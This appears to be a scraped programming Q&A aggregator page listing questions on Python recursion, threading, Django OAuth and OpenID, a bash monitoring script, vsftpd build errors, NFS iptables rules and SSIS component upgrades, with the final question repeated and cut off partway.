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  • Python list recursion type error

    - by Jacob J Callahan
    I can't seem to figure out why the following code is giving me a TypeError: 'type' object is not iterable pastebin: http://pastebin.com/VFZYY4v0 def genList(self): #recursively generates a sorted list of child node values numList = [] if self.leftChild != 'none': numList.extend(self.leftChild.genList()) #error numList.extend(list((self.Value,))) if self.rightChild != 'none': numList.extend(self.rightChild.genList()) #error return numList code that adds child nodes (works correctly) def addChild(self, child): #add a child node. working if child.Value < self.Value: if self.leftChild == 'none': self.leftChild = child child.parent = self else: self.leftChild.addChild(child) elif child.Value > self.Value: if self.rightChild == 'none': self.rightChild = child child.parent = self else: self.rightChild.addChild(child) Any help would be appreciated. Full interpreter session: >>> import BinTreeNode as BTN >>> node1 = BTN.BinaryTreeNode(5) >>> node2 = BTN.BinaryTreeNode(2) >>> node3 = BTN.BinaryTreeNode(12) >>> node3 = BTN.BinaryTreeNode(16) >>> node4 = BTN.BinaryTreeNode(4) >>> node5 = BTN.BinaryTreeNode(13) >>> node1.addChild(node2) >>> node1.addChild(node3) >>> node1.addChild(node4) >>> node1.addChild(node5) >>> node4.genList() <class 'list'> >>> node1.genList() Traceback (most recent call last): File "<interactive input>", line 1, in <module> File "C:...\python\BinTreeNode.py", line 47, in genList numList.extend(self.leftChild.genList()) #error File "C:...\python\BinTreeNode.py", line 52, in genList TypeError: 'type' object is not iterable

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  • How to match words as if in a dictionary, based on len-1 or len+1? Python

    - by pearbear
    If I have a word 'raqd', how would I use python to have a spellcheck, so to speak, to find the word 'rad' as an option in 'spellcheck'? What I've been trying to do is this: def isbettermatch(keysplit, searchword): i = 0 trues = 0 falses = 0 lensearchwords = len(searchword) keysplits = copy.deepcopy(keysplit) searchwords = copy.deepcopy(searchword) #print keysplit, searchwords if len(keysplits) == len(searchwords)-1: i = 0 while i < len(keysplits): j = 0 while j < lensearchwords: if keysplits[i] == searchwords[j]: trues +=1 searchwords.pop(j) lensearchwords = len(searchwords) elif keysplits[i] != searchwords[j]: falses +=1 j +=1 i +=1 if trues >= len(searchwords)-1: #print "-------------------------------------------------------", keysplits return True keysplit is a list like ['s', 'p', 'o', 'i', 'l'] for example, and the searchword would be a list ['r', 'a', 'q', 'd']. If the function returns True, then it would print the keyword that matches. Ex. 'rad', for the searchword 'raqd'. I need to find all possible matches for the searchword with a single letter addition or deletion. so ex. 'raqd' would have an option to be 'rad', and 'poted' could be 'posted' or 'potted'. Above is what I have tried, but it is not working well at all. Help much appreciated!

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  • Waiting for thread to finish Python

    - by lunchtime
    Alright, here's my problem. I have a thread that creates another thread in a pool, applies async so I can work with the returned data, which is working GREAT. But I need the current thread to WAIT until the result is returned. Here is the simplified code, as the current script is over 300 lines. I'm sure i've included everything for you to make sense of what I'm attempting: from multiprocessing.pool import ThreadPool import threading pool = ThreadPool(processes=1) class MyStreamer(TwythonStreamer): #[...] def on_success(self, data): #### Everytime data comes in, this is called #[...] #<Pseudocode> if score >= limit if list exists: Do stuff elif list does not exist: #</Pseudocode> dic = [] dic.append([k1, v1]) did = dict(dic) async_result = pool.apply_async(self.list_step, args=(did)) return_val = async_result.get() slug = return_val[0] idd = return_val[1] #[...] def list_step(self, *args): ## CREATE LIST ## RETURN 2 VALUES class threadStream (threading.Thread): def __init__(self, auth): threading.Thread.__init__(self) self.auth = auth def run(self): stream = MyStreamer(auth = auth[0], *auth[0]) stream.statuses.filter(track=auth[1]) t = threadStream(auth=AuthMe) t.start() I receive the results as intended, which is great, but how do I make it so this thread t waits for the async_result to come in?? My problem is everytime new data comes in, it seems that the ## CREATE LIST function is called multiple times if similar data comes in quickly enough. So I'm ending up with many lists of the same name when I have code in place to ensure that a list will never be created if the name already exists. So to reiterate: How do I make this thread wait on the function to complete before accepting new data / continuing. I don't think time.sleep() works because on_success is called when data enters the stream. I don't think Thread.Join() will work either since I have to use a ThreadPool.apply_async to receive the data I need. Is there a hack I can make in the MyStreamer class somehow? I'm kind of at a loss here. Am I over complicating things and can this be simplified to do what I want?

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  • Unable to delete a file using bash script

    - by user3719091
    I'm having problems removing a file in a bash script. I saw the other post with the same problem but none of those solutions solved my problem. The bash script is an OP5 surveillance check and it calls an Expect process that saves a temporary file to the local drive which the bash script reads from. Once it has read the file and checked its status I would like to remove the temporary file. I'm pretty new to scripting so my script may not be as optimal as it can be. Either way it does the job except removing the file once it's done. I will post the entire code below: #!/bin/bash #GET FLAGS while getopts H:c:w: option do case "${option}" in H) HOSTADDRESS=${OPTARG};; c) CRITICAL=${OPTARG};; w) WARNING=${OPTARG};; esac done ./expect.vpn.check.sh $HOSTADDRESS #VARIABLES VPNCount=$(grep -o '[0-9]\+' $HOSTADDRESS.op5.vpn.results) # Check if the temporary results file exists if [ -f $HOSTADDRESS.op5.vpn.results ] then # If the file exist, Print "File Found" message echo Temporary results file exist. Analyze results. else # If the file does NOT exist, print "File NOT Found" message and send message to OP5 echo Temporary results file does NOT exist. Unable to analyze. # Exit with status Critical (exit code 2) exit 2 fi if [[ "$VPNCount" > $CRITICAL ]] then # If the amount of tunnels exceeds the critical threshold, echo out a warning message and current threshold and send warning to OP5 echo "The amount of VPN tunnels exceeds the critical threshold - ($VPNCount)" # Exit with status Critical (exit code 2) exit 2 elif [[ "$VPNCount" > $WARNING ]] then # If the amount of tunnels exceeds the warning threshold, echo out a warning message and current threshold and send warning to OP5 echo "The amount of VPN tunnels exceeds the warning threshold - ($VPNCount)" # Exit with status Warning (exit code 1) exit 1 else # The amount of tunnels do not exceed the warning threshold. # Print an OK message echo OK - $VPNCount # Exit with status OK exit 0 fi #Clean up temporary files. rm -f $HOSTADDRESS.op5.vpn.results I have tried the following solutions: Create a separate variable called TempFile that specifies the file. And specify that in the rm command. I tried creating another if statement similar to the one I use to verify that file exist and then rm the filename. I tried adding the complete name of the file (no variables, just plain text of the file) I can: Remove the file using the full name in both a separate script and directly in the CLI. Is there something in my script that locks the file that prevents me from removing it? I'm not sure what to try next. Thanks in advance!

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  • why i failed to build vsftp?

    - by hugemeow
    make, then failed with the following message. the main point is /lib/libcap.so.1: could not read symbols: File in wrong format, confusing... gcc -c readwrite.c -O2 -Wall -W -Wshadow -idirafter dummyinc gcc -c opts.c -O2 -Wall -W -Wshadow -idirafter dummyinc gcc -c ssl.c -O2 -Wall -W -Wshadow -idirafter dummyinc gcc -c sslslave.c -O2 -Wall -W -Wshadow -idirafter dummyinc gcc -c ptracesandbox.c -O2 -Wall -W -Wshadow -idirafter dummyinc gcc -c ftppolicy.c -O2 -Wall -W -Wshadow -idirafter dummyinc gcc -c sysutil.c -O2 -Wall -W -Wshadow -idirafter dummyinc gcc -c sysdeputil.c -O2 -Wall -W -Wshadow -idirafter dummyinc gcc -o vsftpd main.o utility.o prelogin.o ftpcmdio.o postlogin.o privsock.o tunables.o ftpdataio.o secbuf.o ls.o postprivparent.o logging.o str.o netstr.o sysstr.o strlist.o banner.o filestr.o parseconf.o secutil.o ascii.o oneprocess.o twoprocess.o privops.o standalone.o hash.o tcpwrap.o ipaddrparse.o access.o features.o readwrite.o opts.o ssl.o sslslave.o ptracesandbox.o ftppolicy.o sysutil.o sysdeputil.o -Wl,-s `./vsf_findlibs.sh` /lib/libcap.so.1: could not read symbols: File in wrong format collect2: ld returned 1 exit status make: *** [vsftpd] Error 1 [mirror@hugemeow vsftpd]$ ls /lib/libc libc-2.5.so libcap.so.1.10 libcidn.so.1 libcom_err.so.2.1 libcrypto.so.0.9.8e libcrypt.so.1 libcap.so.1 libcidn-2.5.so libcom_err.so.2 libcrypt-2.5.so libcrypto.so.6 libc.so.6 [mirror@hugemeow vsftpd]$ ls /lib/libc libc-2.5.so libcap.so.1.10 libcidn.so.1 libcom_err.so.2.1 libcrypto.so.0.9.8e libcrypt.so.1 libcap.so.1 libcidn-2.5.so libcom_err.so.2 libcrypt-2.5.so libcrypto.so.6 libc.so.6 [mirror@hugemeow vsftpd]$ ls /lib/libcap.so.1 -l lrwxrwxrwx 1 root root 14 Mar 20 2012 /lib/libcap.so.1 -> libcap.so.1.10 [mirror@hugemeow vsftpd]$ ls /lib/libcap.so.1 -lh lrwxrwxrwx 1 root root 14 Mar 20 2012 /lib/libcap.so.1 -> libcap.so.1.10 [mirror@hugemeow vsftpd]$ ls /lib/libcap.so.1 -lhL -rwxr-xr-x 1 root root 12K Mar 15 2007 /lib/libcap.so.1 this may have something to do with 64 bit system, but i have make modification to vsf_findlibs.sh 48 # Look for libcap (capabilities) 49 if locate_library /lib64/libcap.so.1; then 50 echo "/lib/libcap.so.1"; 51 elif locate_library /lib64/libcap.so.2; then 52 echo "/lib/libcap.so.2"; 53 else 54 # locate_library /usr/lib/libcap.so && echo "-lcap"; 55 # locate_library /lib/libcap.so && echo "-lcap"; 56 locate_library /lib64/libcap.so.1 && echo "-lcap"; 57 fi but make failed with the same error, why?

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  • How to add an iptables rule with source IP address

    - by ???
    I have a bash script that starts with this: if [[ $EUID -ne 0 ]]; then echo "Permission denied (are you root?)." exit 1 elif [ $# -ne 1 ] then echo "Usage: install-nfs-server <client network/CIDR>" echo "$ bash install-nfs-server 192.168.1.1/24" exit 2 fi; I then try to add the iptables rules for NFS as follows: iptables -A INPUT -i eth0 -p tcp -s $1 --dport 111 -m state --state NEW,ESTABLISHED -j ACCEPT iptables -A OUTPUT -o eth0 -p tcp --sport 111 -m state --state ESTABLISHED -j ACCEPT iptables -A INPUT -i eth0 -p udp -s $1 --dport 111 -m state --state NEW,ESTABLISHED -j ACCEPT iptables -A OUTPUT -o eth0 -p udp --sport 111 -m state --state ESTABLISHED -j ACCEPT service iptables save service iptables restart I get the error: Try iptables -h' or 'iptables --help' for more information. Bad argument111' Try iptables -h' or 'iptables --help' for more information. Bad argument111' Saving firewall rules to /etc/sysconfig/iptables: ^[[60G[^[[0;32m OK ^[[0;39m]^M Flushing firewall rules: ^[[60G[^[[0;32m OK ^[[0;39m]^M Setting chains to policy ACCEPT: filter ^[[60G[^[[0;32m OK ^[[0;39m]^M Unloading iptables modules: ^[[60G[^[[0;32m OK ^[[0;39m]^M Applying iptables firewall rules: ^[[60G[^[[0;32m OK ^[[0;39m]^M Loading additional iptables modules: ip_conntrack_netbios_ns ^[[60G[^[[0;32m OK ^[[0;39m]^M When I open /etc/sysconfig/iptables these are the rules: # Generated by iptables-save v1.3.5 on Mon Mar 26 08:00:42 2012 *filter :INPUT ACCEPT [0:0] :FORWARD ACCEPT [0:0] :OUTPUT ACCEPT [466:54208] :RH-Firewall-1-INPUT - [0:0] -A INPUT -j RH-Firewall-1-INPUT -A FORWARD -j RH-Firewall-1-INPUT -A OUTPUT -o eth0 -p tcp -m tcp --sport 111 -m state --state ESTABLISHED -j ACCEPT -A OUTPUT -o eth0 -p udp -m udp --sport 111 -m state --state ESTABLISHED -j ACCEPT -A OUTPUT -o eth0 -p tcp -m tcp --sport 111 -m state --state ESTABLISHED -j ACCEPT -A OUTPUT -o eth0 -p udp -m udp --sport 111 -m state --state ESTABLISHED -j ACCEPT -A RH-Firewall-1-INPUT -p tcp -m state --state NEW -m tcp --dport 111 -j ACCEPT -A RH-Firewall-1-INPUT -p udp -m state --state NEW -m udp --dport 111 -j ACCEPT -A RH-Firewall-1-INPUT -p tcp -m state --state NEW -m tcp --dport 111 -j ACCEPT -A RH-Firewall-1-INPUT -p tcp -m state --state NEW -m tcp --dport 111 -j ACCEPT -A RH-Firewall-1-INPUT -p tcp -m state --state NEW -m tcp --dport 111 -j ACCEPT -A RH-Firewall-1-INPUT -p tcp -m state --state NEW -m tcp --dport 111 -j ACCEPT -A RH-Firewall-1-INPUT -p tcp -m state --state NEW -m tcp --dport 111 -j ACCEPT -A RH-Firewall-1-INPUT -p tcp -m state --state NEW -m tcp --dport 111 -j ACCEPT -A RH-Firewall-1-INPUT -i lo -j ACCEPT -A RH-Firewall-1-INPUT -p icmp -m icmp --icmp-type any -j ACCEPT -A RH-Firewall-1-INPUT -p esp -j ACCEPT -A RH-Firewall-1-INPUT -p ah -j ACCEPT -A RH-Firewall-1-INPUT -d 224.0.0.251 -p udp -m udp --dport 5353 -j ACCEPT -A RH-Firewall-1-INPUT -p udp -m udp --dport 631 -j ACCEPT -A RH-Firewall-1-INPUT -p tcp -m tcp --dport 631 -j ACCEPT -A RH-Firewall-1-INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT -A RH-Firewall-1-INPUT -p tcp -m state --state NEW -m tcp --dport 22 -j ACCEPT -A RH-Firewall-1-INPUT -j REJECT --reject-with icmp-host-prohibited COMMIT # Completed on Mon Mar 26 08:00:42 2012 ~ "/etc/sysconfig/iptables" 32L, 1872C I've also tried: iptables -I RH-Firewall-1-INPUT 1 -m state --state NEW -m tcp -p tcp --source $1 --dport 111 -j ACCEPT iptables -I RH-Firewall-1-INPUT 2 -m udp -p udp --source $1 --dport 111 -j ACCEPT

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  • Upgrading SSIS Custom Components for SQL Server 2012

    Having finally got around to upgrading my custom components to SQL Server 2012, I thought I’d share some notes on the process. One of the goals was minimal duplication, so the same code files are used to build the 2008 and 2012 components, I just have a separate project file. The high level steps are listed below, followed by some more details. Create a 2012 copy of the project file Upgrade project, just open the new project file is VS2010 Change target framework to .NET 4.0 Set conditional compilation symbol for DENALI Change any conditional code, including assembly version and UI type name Edit project file to change referenced assemblies for 2012 Change target framework to .NET 4.0 Open the project properties. On the Applications page, change the Target framework to .NET Framework 4. Set conditional compilation symbol for DENALI Re-open the project properties. On the Build tab, first change the Configuration to All Configurations, then set a Conditional compilation symbol of DENALI. Change any conditional code, including assembly version and UI type name The value doesn’t have to be DENALI, it can actually be anything you like, that is just what I use. It is how I control sections of code that vary between versions. There were several API changes between 2005 and 2008, as well as interface name changes. Whilst we don’t have the same issues between 2008 and 2012, I still have some sections of code that do change such as the assembly attributes. #if DENALI [assembly: AssemblyDescription("Data Generator Source for SQL Server Integration Services 2012")] [assembly: AssemblyCopyright("Copyright © 2012 Konesans Ltd")] [assembly: AssemblyVersion("3.0.0.0")] #else [assembly: AssemblyDescription("Data Generator Source for SQL Server Integration Services 2008")] [assembly: AssemblyCopyright("Copyright © 2008 Konesans Ltd")] [assembly: AssemblyVersion("2.0.0.0")] #endif The Visual Studio editor automatically formats the code based on the current compilation symbols, hence in this case the 2008 code is grey to indicate it is disabled. As you can see in the previous example I have distinct assembly version attributes, ensuring I can run both 2008 and 2012 versions of my component side by side. For custom components with a user interface, be sure to update the UITypeName property of the DtsTask or DtsPipelineComponent attributes. As above I use the conditional compilation symbol to control the code. #if DENALI [DtsTask ( DisplayName = "File Watcher Task", Description = "File Watcher Task", IconResource = "Konesans.Dts.Tasks.FileWatcherTask.FileWatcherTask.ico", UITypeName = "Konesans.Dts.Tasks.FileWatcherTask.FileWatcherTaskUI,Konesans.Dts.Tasks.FileWatcherTask,Version=3.0.0.0,Culture=Neutral,PublicKeyToken=b2ab4a111192992b", TaskContact = "File Watcher Task; Konesans Ltd; Copyright © 2012 Konesans Ltd; http://www.konesans.com" )] #else [DtsTask ( DisplayName = "File Watcher Task", Description = "File Watcher Task", IconResource = "Konesans.Dts.Tasks.FileWatcherTask.FileWatcherTask.ico", UITypeName = "Konesans.Dts.Tasks.FileWatcherTask.FileWatcherTaskUI,Konesans.Dts.Tasks.FileWatcherTask,Version=2.0.0.0,Culture=Neutral,PublicKeyToken=b2ab4a111192992b", TaskContact = "File Watcher Task; Konesans Ltd; Copyright © 2004-2008 Konesans Ltd; http://www.konesans.com" )] #endif public sealed class FileWatcherTask: Task, IDTSComponentPersist, IDTSBreakpointSite, IDTSSuspend { // .. code goes on... } Shown below is another example I found that needed changing. I borrow one of the MS editors, and use it against a custom property, but need to ensure I reference the correct version of the MS controls assembly. This section of code is actually shared between the 2005, 2008 and 2012 versions of my component hence it has test for both DENALI and KATMAI symbols. #if DENALI const string multiLineUI = "Microsoft.DataTransformationServices.Controls.ModalMultilineStringEditor, Microsoft.DataTransformationServices.Controls, Version=11.0.00.0, Culture=neutral, PublicKeyToken=89845dcd8080cc91"; #elif KATMAI const string multiLineUI = "Microsoft.DataTransformationServices.Controls.ModalMultilineStringEditor, Microsoft.DataTransformationServices.Controls, Version=10.0.0.0, Culture=neutral, PublicKeyToken=89845dcd8080cc91"; #else const string multiLineUI = "Microsoft.DataTransformationServices.Controls.ModalMultilineStringEditor, Microsoft.DataTransformationServices.Controls, Version=9.0.242.0, Culture=neutral, PublicKeyToken=89845dcd8080cc91"; #endif // Create Match Expression parameter IDTSCustomPropertyCollection100 propertyCollection = outputColumn.CustomPropertyCollection; IDTSCustomProperty100 property = propertyCollection.New(); property = propertyCollection.New(); property.Name = MatchParams.Name; property.Description = MatchParams.Description; property.TypeConverter = typeof(MultilineStringConverter).AssemblyQualifiedName; property.UITypeEditor = multiLineUI; property.Value = MatchParams.DefaultValue; Edit project file to change referenced assemblies for 2012 We now need to edit the project file itself. Open the MyComponente2012.cproj  in you favourite text editor, and then perform a couple of find and replaces as listed below: Find Replace Comment Version=10.0.0.0, Culture=neutral, PublicKeyToken=89845dcd8080cc91 Version=11.0.0.0, Culture=neutral, PublicKeyToken=89845dcd8080cc91 Change the assembly references version from SQL Server 2008 to SQL Server 2012. Microsoft SQL Server\100\ Microsoft SQL Server\110\ Change any assembly reference hint path locations from from SQL Server 2008 to SQL Server 2012. If you use any Build Events during development, such as copying the component assembly to the DTS folder, or calling GACUTIL to install it into the GAC, you can also change these now. An example of my new post-build event for a pipeline component is shown below, which uses the .NET 4.0 path for GACUTIL. It also uses the 110 folder location, instead of 100 for SQL Server 2008, but that was covered the the previous find and replace. "C:\Program Files (x86)\Microsoft SDKs\Windows\v7.0A\Bin\NETFX 4.0 Tools\gacutil.exe" /if "$(TargetPath)" copy "$(TargetPath)" "%ProgramFiles%\Microsoft SQL Server\110\DTS\PipelineComponents" /Y

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  • Oauth for Google API example using Python / Django

    - by DrDee
    Hi, I am trying to get Oauth working with the Google API using Python. I have tried different oauth libraries such as oauth, oauth2 and djanog-oauth but I cannot get it to work (including the provided examples). For debugging Oauth I use Google's Oauth Playground and I have studied the API and the Oauth documentation With some libraries I am struggling with getting a right signature, with other libraries I am struggling with converting the request token to an authorized token. What would really help me if someone can show me a working example for the Google API using one of the above-mentioned libraries. EDIT: My initial question did not lead to any answers so I have added my code. There are two possible causes of this code not working: 1) Google does not authorize my request token, but not quite sure how to detect this 2) THe signature for the access token is invalid but then I would like to know which oauth parameters Google is expecting as I am able to generate a proper signature in the first phase. This is written using oauth2.py and for Django hence the HttpResponseRedirect. REQUEST_TOKEN_URL = 'https://www.google.com/accounts/OAuthGetRequestToken' AUTHORIZATION_URL = 'https://www.google.com/accounts/OAuthAuthorizeToken' ACCESS_TOKEN_URL = 'https://www.google.com/accounts/OAuthGetAccessToken' CALLBACK = 'http://localhost:8000/mappr/mappr/oauth/' #will become real server when deployed OAUTH_CONSUMER_KEY = 'anonymous' OAUTH_CONSUMER_SECRET = 'anonymous' signature_method = oauth.SignatureMethod_HMAC_SHA1() consumer = oauth.Consumer(key=OAUTH_CONSUMER_KEY, secret=OAUTH_CONSUMER_SECRET) client = oauth.Client(consumer) request_token = oauth.Token('','') #hackish way to be able to access the token in different functions, I know this is bad, but I just want it to get working in the first place :) def authorize(request): if request.GET == {}: tokens = OAuthGetRequestToken() return HttpResponseRedirect(AUTHORIZATION_URL + '?' + tokens) elif request.GET['oauth_verifier'] != '': oauth_token = request.GET['oauth_token'] oauth_verifier = request.GET['oauth_verifier'] OAuthAuthorizeToken(oauth_token) OAuthGetAccessToken(oauth_token, oauth_verifier) #I need to add a Django return object but I am still debugging other phases. def OAuthGetRequestToken(): print '*** OUTPUT OAuthGetRequestToken ***' params = { 'oauth_consumer_key': OAUTH_CONSUMER_KEY, 'oauth_nonce': oauth.generate_nonce(), 'oauth_signature_method': 'HMAC-SHA1', 'oauth_timestamp': int(time.time()), #The timestamp should be expressed in number of seconds after January 1, 1970 00:00:00 GMT. 'scope': 'https://www.google.com/analytics/feeds/', 'oauth_callback': CALLBACK, 'oauth_version': '1.0' } # Sign the request. req = oauth.Request(method="GET", url=REQUEST_TOKEN_URL, parameters=params) req.sign_request(signature_method, consumer, None) tokens =client.request(req.to_url())[1] params = ConvertURLParamstoDictionary(tokens) request_token.key = params['oauth_token'] request_token.secret = params['oauth_token_secret'] return tokens def OAuthAuthorizeToken(oauth_token): print '*** OUTPUT OAuthAuthorizeToken ***' params ={ 'oauth_token' :oauth_token, 'hd': 'default' } req = oauth.Request(method="GET", url=AUTHORIZATION_URL, parameters=params) req.sign_request(signature_method, consumer, request_token) response =client.request(req.to_url()) print response #for debugging purposes def OAuthGetAccessToken(oauth_token, oauth_verifier): print '*** OUTPUT OAuthGetAccessToken ***' params = { 'oauth_consumer_key': OAUTH_CONSUMER_KEY, 'oauth_token': oauth_token, 'oauth_verifier': oauth_verifier, 'oauth_token_secret': request_token.secret, 'oauth_signature_method': 'HMAC-SHA1', 'oauth_timestamp': int(time.time()), 'oauth_nonce': oauth.generate_nonce(), 'oauth_version': '1.0', } req = oauth.Request(method="GET", url=ACCESS_TOKEN_URL, parameters=params) req.sign_request(signature_method, consumer, request_token) response =client.request(req.to_url()) print response return req def ConvertURLParamstoDictionary(tokens): params = {} tokens = tokens.split('&') for token in tokens: token = token.split('=') params[token[0]] = token[1] return params

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  • Subclassed django models with integrated querysets

    - by outofculture
    Like in this question, except I want to be able to have querysets that return a mixed body of objects: >>> Product.objects.all() [<SimpleProduct: ...>, <OtherProduct: ...>, <BlueProduct: ...>, ...] I figured out that I can't just set Product.Meta.abstract to true or otherwise just OR together querysets of differing objects. Fine, but these are all subclasses of a common class, so if I leave their superclass as non-abstract I should be happy, so long as I can get its manager to return objects of the proper class. The query code in django does its thing, and just makes calls to Product(). Sounds easy enough, except it blows up when I override Product.__new__, I'm guessing because of the __metaclass__ in Model... Here's non-django code that behaves pretty much how I want it: class Top(object): _counter = 0 def __init__(self, arg): Top._counter += 1 print "Top#__init__(%s) called %d times" % (arg, Top._counter) class A(Top): def __new__(cls, *args, **kwargs): if cls is A and len(args) > 0: if args[0] is B.fav: return B(*args, **kwargs) elif args[0] is C.fav: return C(*args, **kwargs) else: print "PRETENDING TO BE ABSTRACT" return None # or raise? else: return super(A).__new__(cls, *args, **kwargs) class B(A): fav = 1 class C(A): fav = 2 A(0) # => None A(1) # => <B object> A(2) # => <C object> But that fails if I inherit from django.db.models.Model instead of object: File "/home/martin/beehive/apps/hello_world/models.py", line 50, in <module> A(0) TypeError: unbound method __new__() must be called with A instance as first argument (got ModelBase instance instead) Which is a notably crappy backtrace; I can't step into the frame of my __new__ code in the debugger, either. I have variously tried super(A, cls), Top, super(A, A), and all of the above in combination with passing cls in as the first argument to __new__, all to no avail. Why is this kicking me so hard? Do I have to figure out django's metaclasses to be able to fix this or is there a better way to accomplish my ends?

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  • The Skyline Problem.

    - by zeroDivisible
    I just came across this little problem on UVA's Online Judge and thought, that it may be a good candidate for a little code-golf. The problem: You are to design a program to assist an architect in drawing the skyline of a city given the locations of the buildings in the city. To make the problem tractable, all buildings are rectangular in shape and they share a common bottom (the city they are built in is very flat). The city is also viewed as two-dimensional. A building is specified by an ordered triple (Li, Hi, Ri) where Li and Ri are left and right coordinates, respectively, of building i and Hi is the height of the building. In the diagram below buildings are shown on the left with triples (1,11,5), (2,6,7), (3,13,9), (12,7,16), (14,3,25), (19,18,22), (23,13,29), (24,4,28) and the skyline, shown on the right, is represented by the sequence: 1, 11, 3, 13, 9, 0, 12, 7, 16, 3, 19, 18, 22, 3, 23, 13, 29, 0 The output should consist of the vector that describes the skyline as shown in the example above. In the skyline vector (v1, v2, v3, ... vn) , the vi such that i is an even number represent a horizontal line (height). The vi such that i is an odd number represent a vertical line (x-coordinate). The skyline vector should represent the "path" taken, for example, by a bug starting at the minimum x-coordinate and traveling horizontally and vertically over all the lines that define the skyline. Thus the last entry in the skyline vector will be a 0. The coordinates must be separated by a blank space. If I will not count declaration of provided (test) buildings and including all spaces and tab characters, my solution, in Python, is 223 characters long. Here is the condensed version: B=[[1,11,5],[2,6,7],[3,13,9],[12,7,16],[14,3,25],[19,18,22],[23,13,29],[24,4,28]] # Solution. R=range v=[0 for e in R(max([y[2] for y in B])+1)] for b in B: for x in R(b[0], b[2]): if b[1]>v[x]: v[x]=b[1] p=1 k=0 for x in R(len(v)): V=v[x] if p and V==0: continue elif V!=k: p=0 print "%s %s" % (str(x), str(V)), k=V I think that I didn't made any mistake but if so - feel free to criticize me. EDIT I don't have much reputation, so I will pay only 100 for a bounty - I am curious, if anyone could try to solve this in less than .. lets say, 80 characters. Solution posted by cobbal is 101 characters long and currently it is the best one. ANOTHER EDIT I thought, that 80 characters is a sick limit for this kind of problem. cobbal, with his 46 character solution totaly amazed me - though I must admit, that I spent some time reading his explanation before I partially understood what he had written.

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  • Django & google openid authentication with socialauth

    - by Zayatzz
    Hello I am trying to use django-socialauth (http://github.com/uswaretech/Django-Socialauth) for authenticating users for my django project. This is firs time working with openid and i've had to figure out how exactly this open id works. I have more or less understood it, by now, but there are few things that elude me. The authentication process starts when the request is put together in in django-socialauth.openid_consumer.views.begin. I can see that the outgoing authentication request is more or less something like this: https://www.google.com/accounts/o8/ud?openid.assoc_handle=AOQobUckRThPUj3K1byG280Aze-dnfc9Iu6AEYaBwvHE11G0zy8kY8GZ& openid.ax.if_available=fname& openid.ax.mode=fetch_request& openid.ax.required=email& openid.ax.type.email=http://axschema.org/contact/email& openid.ax.type.fname=http://example.com/schema/fullname& openid.claimed_id=http://specs.openid.net/auth/2.0/identifier_select& openid.identity=http://specs.openid.net/auth/2.0/identifier_select& openid.mode=checkid_setup&openid.ns=http://specs.openid.net/auth/2.0& openid.ns.ax=http://openid.net/srv/ax/1.0& openid.ns.sreg=http://openid.net/extensions/sreg/1.1& openid.realm=http://localhost/& openid.return_to=http://localhost/social/gmail_login/complete/?janrain_nonce=2010-03-20T11%3A19%3A44ZPZCjNc&openid.sreg.optional=postcode,country,nickname,email This is lot like 2nd example here: http://code.google.com/apis/accounts/docs/OpenID.html#Samples The problem is, that the request, i get back, is nothing like the corresponding example from code.google.com (look at the 3rd example in example responses. Response dict i get is like this: { 'openid.op_endpoint': 'https://www.google.com/accounts/o8/ud', 'openid.sig': 'QWMa4x4ruMUvSCfLwKV6CZRuo0E=', 'openid.ext1.type.email': 'http://axschema.org/contact/email', 'openid.return_to': 'http://localhost/social/gmail_login/complete/?janrain_nonce=2010-03-20T17%3A54%3A06ZHV4cqh', 'janrain_nonce': '2010-03-20T17:54:06ZHV4cqh', 'openid.response_nonce': '2010-03-20T17:54:06ZdC5mMu9M_6O4pw', 'openid.claimed_id': 'https://www.google.com/accounts/o8/id?id=AItOghawkFz0aNzk91vaQWhD-DxRJo6sS09RwM3SE', 'openid.mode': 'id_res', 'openid.ns.ext1': 'http://openid.net/srv/ax/1.0', 'openid.signed': 'op_endpoint,claimed_id,identity,return_to,response_nonce,assoc_handle,ns.ext1,ext1.mode,ext1.type.email,ext1.value.email', 'openid.ext1.value.email': '[email protected]', 'openid.assoc_handle': 'AOQobUfssTJ2IxRlxrIvU4Xg8HHQKKTEuqwGxvwwuPR5rNvag0elGlYL', 'openid.ns': 'http://specs.openid.net/auth/2.0', 'openid.identity': 'https://www.google.com/accounts/o8/id?id=AItOawkghgfhf1FkvaQWhD-DxRJo6sS09RwMKjASE', 'openid.ext1.mode': 'fetch_response'} The socialauth itself has been built to accept my email address this way: elif request.openid and request.openid.ax: email = request.openid.ax.get('email') And obviously this fails. Why i am asking all this is, that perhaps i am doing something wrong and my outgoing request is wrong? Or am i doing all correctly and should change the socialaouth module to accept info in a new way and then commit the change? Alan

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  • Django & google openid authentication (openid.ax) with socialauth

    - by Zayatzz
    Hello I am trying to use django-socialauth (http://github.com/uswaretech/Django-Socialauth) for authenticating users for my django project. This is firs time working with openid and i've had to figure out how exactly this open id works. I have more or less understood it, by now, but there are few things that elude me. The authentication process starts when the request is put together in in django-socialauth.openid_consumer.views.begin. I can see that the outgoing authentication request is more or less something like this: https://www.google.com/accounts/o8/ud?openid.assoc_handle=AOQobUckRThPUj3K1byG280Aze-dnfc9Iu6AEYaBwvHE11G0zy8kY8GZ& openid.ax.if_available=fname& openid.ax.mode=fetch_request& openid.ax.required=email& openid.ax.type.email=http://axschema.org/contact/email& openid.ax.type.fname=http://example.com/schema/fullname& openid.claimed_id=http://specs.openid.net/auth/2.0/identifier_select& openid.identity=http://specs.openid.net/auth/2.0/identifier_select& openid.mode=checkid_setup&openid.ns=http://specs.openid.net/auth/2.0& openid.ns.ax=http://openid.net/srv/ax/1.0& openid.ns.sreg=http://openid.net/extensions/sreg/1.1& openid.realm=http://localhost/& openid.return_to=http://localhost/social/gmail_login/complete/?janrain_nonce=2010-03-20T11%3A19%3A44ZPZCjNc&openid.sreg.optional=postcode,country,nickname,email This is lot like 2nd example here: http://code.google.com/apis/accounts/docs/OpenID.html#Samples The problem is, that the request, i get back, is nothing like the corresponding example from code.google.com (look at the 3rd example in example responses. Response dict i get is like this: { 'openid.op_endpoint': 'https://www.google.com/accounts/o8/ud', 'openid.sig': 'QWMa4x4ruMUvSCfLwKV6CZRuo0E=', 'openid.ext1.type.email': 'http://axschema.org/contact/email', 'openid.return_to': 'http://localhost/social/gmail_login/complete/?janrain_nonce=2010-03-20T17%3A54%3A06ZHV4cqh', 'janrain_nonce': '2010-03-20T17:54:06ZHV4cqh', 'openid.response_nonce': '2010-03-20T17:54:06ZdC5mMu9M_6O4pw', 'openid.claimed_id': 'https://www.google.com/accounts/o8/id?id=AItOghawkFz0aNzk91vaQWhD-DxRJo6sS09RwM3SE', 'openid.mode': 'id_res', 'openid.ns.ext1': 'http://openid.net/srv/ax/1.0', 'openid.signed': 